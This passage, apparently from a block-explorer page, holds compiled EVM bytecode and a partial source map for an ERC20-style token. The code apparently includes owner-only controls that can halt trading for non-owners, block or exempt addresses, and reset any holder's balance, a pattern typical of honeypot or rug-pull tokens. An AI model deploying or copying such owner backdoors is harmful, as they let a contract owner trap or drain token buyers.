ffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112829190611f80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690611f00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690611de0565b60405180910390fd5b600081116113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990611e40565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114555750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114a05760095481111561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690611ea0565b60405180910390fd5b5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115415750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561159d5760001515600360009054906101000a900460ff1615151461159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159390611f20565b60405180910390fd5b5b60011515600360009054906101000a900460ff161515148061160c5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116645750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561180857611674838383611a2e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190611e80565b60405180910390fd5b81816117069190612028565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117969190611fd2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117fa9190611f80565b60405180910390a35061185f565b60011515600360009054906101000a900460ff1615151461185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590611f20565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90611ee0565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190611e20565b60405180910390fd5b816004546119689190612028565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546119bc9190612028565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a219190611f80565b60405180910390a3505050565b505050565b600081359050611a4281612516565b92915050565b600081359050611a578161252d565b92915050565b600060208284031215611a6f57600080fd5b6000611a7d84828501611a33565b91505092915050565b60008060408385031215611a9957600080fd5b6000611aa785828601611a33565b9250506020611ab885828601611a33565b9150509250929050565b600080600060608486031215611ad757600080fd5b6000611ae586828701611a33565b9350506020611af686828701611a33565b9250506040611b0786828701611a48565b9150509250925092565b60008060408385031215611b2457600080fd5b6000611b3285828601611a33565b9250506020611b4385828601611a48565b9150509250929050565b600060208284031215611b5f57600080fd5b6000611b6d84828501611a48565b91505092915050565b611b7f8161206e565b82525050565b6000611b9082611fb6565b611b9a8185611fc1565b9350611baa8185602086016120b1565b611bb381612174565b840191505092915050565b6000611bcb602383611fc1565b9150611bd682612185565b604082019050919050565b6000611bee601f83611fc1565b9150611bf9826121d4565b602082019050919050565b6000611c11602283611fc1565b9150611c1c826121fd565b604082019050919050565b6000611c34602983611fc1565b9150611c3f8261224c565b604082019050919050565b6000611c57602283611fc1565b9150611c628261229b565b604082019050919050565b6000611c7a602683611fc1565b9150611c85826122ea565b604082019050919050565b6000611c9d602883611fc1565b9150611ca882612339565b604082019050919050565b6000611cc0602883611fc1565b9150611ccb82612388565b604082019050919050565b6000611ce3602183611fc1565b9150611cee826123d7565b604082019050919050565b6000611d06602583611fc1565b9150611d1182612426565b604082019050919050565b6000611d29600083611fc1565b9150611d3482612475565b600082019050919050565b6000611d4c602483611fc1565b9150611d5782612478565b604082019050919050565b6000611d6f602583611fc1565b9150611d7a826124c7565b604082019050919050565b611d8e8161209a565b82525050565b611d9d816120a4565b82525050565b6000602082019050611db86000830184611b76565b92915050565b60006020820190508181036000830152611dd88184611b85565b905092915050565b60006020820190508181036000830152611df981611bbe565b9050919050565b60006020820190508181036000830152611e1981611be1565b9050919050565b60006020820190508181036000830152611e3981611c04565b9050919050565b60006020820190508181036000830152611e5981611c27565b9050919050565b60006020820190508181036000830152611e7981611c4a565b9050919050565b60006020820190508181036000830152611e9981611c6d565b9050919050565b60006020820190508181036000830152611eb981611c90565b9050919050565b60006020820190508181036000830152611ed981611cb3565b9050919050565b60006020820190508181036000830152611ef981611cd6565b9050919050565b60006020820190508181036000830152611f1981611cf9565b9050919050565b60006020820190508181036000830152611f3981611d1c565b9050919050565b60006020820190508181036000830152611f5981611d3f565b9050919050565b60006020820190508181036000830152611f7981611d62565b9050919050565b6000602082019050611f956000830184611d85565b92915050565b6000602082019050611fb06000830184611d94565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611fdd8261209a565b9150611fe88361209a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561201d5761201c612116565b5b828201905092915050565b60006120338261209a565b915061203e8361209a565b92508282101561205157612050612116565b5b828203905092915050565b60006120678261207a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156120cf5780820151818401526020810190506120b4565b838111156120de576000848401525b50505050565b600060028204905060018216806120fc57607f821691505b602082108114156121105761210f612145565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206f6e6c7920746865206f776e657220616c6c6f77656400600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61251f8161205c565b811461252a57600080fd5b50565b6125368161209a565b811461254157600080fd5b5056fea264697066735822122051785396cefd3723e44342b4d1689c7ff3dca698cb6aed8e6371ccab006cc75564736f6c63430008030033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638fbbeb52116100c3578063b3d22e9c1161007c578063b3d22e9c146103ed578063b67df42014610409578063c5730d9d14610425578063dd62ed3e14610441578063e22fb73014610471578063e580b2b0146104a157610158565b80638fbbeb521461031957806395d89b41146103355780639dc29fac14610353578063a457c2d71461036f578063a9059cbb1461039f578063b14ae78b146103cf57610158565b806333d7eeed1161011557806333d7eeed14610247578063395093511461027757806341959586146102a75780634355b9d2146102c357806370a08231146102df5780638203f5fe1461030f57610158565b806306fdde031461015d57806308593b4b1461017b578063095ea7b3146101ab57806318160ddd146101db57806323b872dd146101f9578063313ce56714610229575b600080fd5b6101656104bf565b6040516101729190611dbe565b60405180910390f35b61019560048036038101906101909190611a5d565b610551565b6040516101a29190611da3565b60405180910390f35b6101c560048036038101906101c09190611b11565b610571565b6040516101d29190611da3565b60405180910390f35b6101e361058f565b6040516101f09190611f80565b60405180910390f35b610213600480360381019061020e9190611ac2565b610599565b6040516102209190611da3565b60405180910390f35b61023161069a565b60405161023e9190611f9b565b60405180910390f35b610261600480360381019061025c9190611a5d565b6106a3565b60405161026e9190611da3565b60405180910390f35b610291600480360381019061028c9190611b11565b6106c3565b60405161029e9190611da3565b60405180910390f35b6102c160048036038101906102bc9190611a5d565b61076f565b005b6102dd60048036038101906102d89190611a5d565b61085a565b005b6102f960048036038101906102f49190611a5d565b610945565b6040516103069190611f80565b60405180910390f35b61031761098d565b005b610333600480360381019061032e9190611b4d565b610a77565b005b61033d610b11565b60405161034a9190611dbe565b60405180910390f35b61036d60048036038101906103689190611b11565b610ba3565b005b61038960048036038101906103849190611b11565b610c41565b6040516103969190611da3565b60405180910390f35b6103b960048036038101906103b49190611b11565b610d35565b6040516103c69190611da3565b60405180910390f35b6103d7610d53565b6040516103e49190611f80565b60405180910390f35b61040760048036038101906104029190611a5d565b610d59565b005b610423600480360381019061041e9190611a5d565b610e43565b005b61043f600480360381019061043a9190611b4d565b610f2e565b005b61045b60048036038101906104569190611a86565b610fc8565b6040516104689190611f80565b60405180910390f35b61048b60048036038101906104869190611a5d565b61104f565b6040516104989190611da3565b60405180910390f35b6104a96110a5565b6040516104b69190611da3565b60405180910390f35b6060600680546104ce906120e4565b80601f01602080910402602001604051908101604052809291908181526020018280546104fa906120e4565b80156105475780601f1061051c57610100808354040283529160200191610547565b820191906000526020600020905b81548152906001019060200180831161052a57829003601f168201915b5050505050905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600061058561057e6110bc565b84846110c4565b6001905092915050565b6000600554905090565b60006105a684848461128f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f16110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611ec0565b60405180910390fd5b61068e8561067d6110bc565b85846106899190612028565b6110c4565b60019150509392505050565b60006012905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b60006107656106d06110bc565b8484600260006106de6110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107609190611fd2565b6110c4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690611e00565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e190611e00565b60405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1490611e00565b60405180910390fd5b60011515600360009054906101000a900460ff1615151415610a59576000600360006101000a81548160ff021916908315150217905550610a75565b6001600360006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611e00565b60405180910390fd5b8060048190555050565b606060078054610b20906120e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4c906120e4565b8015610b995780601f10610b6e57610100808354040283529160200191610b99565b820191906000526020600020905b815481529060010190602001808311610b7c57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90611e00565b60405180910390fd5b610c3d8282611864565b5050565b60008060026000610c506110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0490611f60565b60405180910390fd5b610d2a610d186110bc565b858584610d259190612028565b6110c4565b600191505092915050565b6000610d49610d426110bc565b848461128f565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de090611e00565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90611e00565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611e00565b60405180910390fd5b8060098190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900460ff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90611f40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90611e60565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112829190611f80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690611f00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690611de0565b60405180910390fd5b600081116113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990611e40565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114555750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114a05760095481111561149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690611ea0565b60405180910390fd5b5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115415750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561159d5760001515600360009054906101000a900460ff1615151461159c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159390611f20565b60405180910390fd5b5b60011515600360009054906101000a900460ff161515148061160c5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116645750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561180857611674838383611a2e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190611e80565b60405180910390fd5b81816117069190612028565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117969190611fd2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117fa9190611f80565b60405180910390a35061185f565b60011515600360009054906101000a900460ff1615151461185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590611f20565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90611ee0565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190611e20565b60405180910390fd5b816004546119689190612028565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546119bc9190612028565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a219190611f80565b60405180910390a3505050565b505050565b600081359050611a4281612516565b92915050565b600081359050611a578161252d565b92915050565b600060208284031215611a6f57600080fd5b6000611a7d84828501611a33565b91505092915050565b60008060408385031215611a9957600080fd5b6000611aa785828601611a33565b9250506020611ab885828601611a33565b9150509250929050565b600080600060608486031215611ad757600080fd5b6000611ae586828701611a33565b9350506020611af686828701611a33565b9250506040611b0786828701611a48565b9150509250925092565b60008060408385031215611b2457600080fd5b6000611b3285828601611a33565b9250506020611b4385828601611a48565b9150509250929050565b600060208284031215611b5f57600080fd5b6000611b6d84828501611a48565b91505092915050565b611b7f8161206e565b82525050565b6000611b9082611fb6565b611b9a8185611fc1565b9350611baa8185602086016120b1565b611bb381612174565b840191505092915050565b6000611bcb602383611fc1565b9150611bd682612185565b604082019050919050565b6000611bee601f83611fc1565b9150611bf9826121d4565b602082019050919050565b6000611c11602283611fc1565b9150611c1c826121fd565b604082019050919050565b6000611c34602983611fc1565b9150611c3f8261224c565b604082019050919050565b6000611c57602283611fc1565b9150611c628261229b565b604082019050919050565b6000611c7a602683611fc1565b9150611c85826122ea565b604082019050919050565b6000611c9d602883611fc1565b9150611ca882612339565b604082019050919050565b6000611cc0602883611fc1565b9150611ccb82612388565b604082019050919050565b6000611ce3602183611fc1565b9150611cee826123d7565b604082019050919050565b6000611d06602583611fc1565b9150611d1182612426565b604082019050919050565b6000611d29600083611fc1565b9150611d3482612475565b600082019050919050565b6000611d4c602483611fc1565b9150611d5782612478565b604082019050919050565b6000611d6f602583611fc1565b9150611d7a826124c7565b604082019050919050565b611d8e8161209a565b82525050565b611d9d816120a4565b82525050565b6000602082019050611db86000830184611b76565b92915050565b60006020820190508181036000830152611dd88184611b85565b905092915050565b60006020820190508181036000830152611df981611bbe565b9050919050565b60006020820190508181036000830152611e1981611be1565b9050919050565b60006020820190508181036000830152611e3981611c04565b9050919050565b60006020820190508181036000830152611e5981611c27565b9050919050565b60006020820190508181036000830152611e7981611c4a565b9050919050565b60006020820190508181036000830152611e9981611c6d565b9050919050565b60006020820190508181036000830152611eb981611c90565b9050919050565b60006020820190508181036000830152611ed981611cb3565b9050919050565b60006020820190508181036000830152611ef981611cd6565b9050919050565b60006020820190508181036000830152611f1981611cf9565b9050919050565b60006020820190508181036000830152611f3981611d1c565b9050919050565b60006020820190508181036000830152611f5981611d3f565b9050919050565b60006020820190508181036000830152611f7981611d62565b9050919050565b6000602082019050611f956000830184611d85565b92915050565b6000602082019050611fb06000830184611d94565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611fdd8261209a565b9150611fe88361209a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561201d5761201c612116565b5b828201905092915050565b60006120338261209a565b915061203e8361209a565b92508282101561205157612050612116565b5b828203905092915050565b60006120678261207a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156120cf5780820151818401526020810190506120b4565b838111156120de576000848401525b50505050565b600060028204905060018216806120fc57607f821691505b602082108114156121105761210f612145565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206f6e6c7920746865206f776e657220616c6c6f77656400600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61251f8161205c565b811461252a57600080fd5b50565b6125368161209a565b811461254157600080fd5b5056fea264697066735822122051785396cefd3723e44342b4d1689c7ff3dca698cb6aed8e6371ccab006cc75564736f6c63430008030033
Deployed Bytecode Sourcemap
234:451:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2415:98:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1734:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5146:166;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3503:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5779:412;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3352:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1678:50;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6586:212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11588:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11466:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4204:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3938:121;;;:::i;:::-;;4335:87;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2626:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;584:99:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7285:370:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4629:172;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1626:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3724:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3619:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11338:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4859:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3826:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4066:80;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2415:98;2469:13;2501:5;2494:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2415:98;:::o;1734:39::-;;;;;;;;;;;;;;;;;;;;;;:::o;5146:166::-;5229:4;5245:39;5254:12;:10;:12::i;:::-;5268:7;5277:6;5245:8;:39::i;:::-;5301:4;5294:11;;5146:166;;;;:::o;3503:106::-;3564:7;3590:12;;3583:19;;3503:106;:::o;5779:412::-;5885:4;5901:36;5911:6;5919:9;5930:6;5901:9;:36::i;:::-;5947:24;5974:11;:19;5986:6;5974:19;;;;;;;;;;;;;;;:33;5994:12;:10;:12::i;:::-;5974:33;;;;;;;;;;;;;;;;5947:60;;6045:6;6025:16;:26;;6017:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;6106:57;6115:6;6123:12;:10;:12::i;:::-;6156:6;6137:16;:25;;;;:::i;:::-;6106:8;:57::i;:::-;6180:4;6173:11;;;5779:412;;;;;:::o;3352:91::-;3410:5;3434:2;3427:9;;3352:91;:::o;1678:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;6586:212::-;6674:4;6690:80;6699:12;:10;:12::i;:::-;6713:7;6759:10;6722:11;:25;6734:12;:10;:12::i;:::-;6722:25;;;;;;;;;;;;;;;:34;6748:7;6722:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6690:8;:80::i;:::-;6787:4;6780:11;;6586:212;;;;:::o;11588:90::-;2286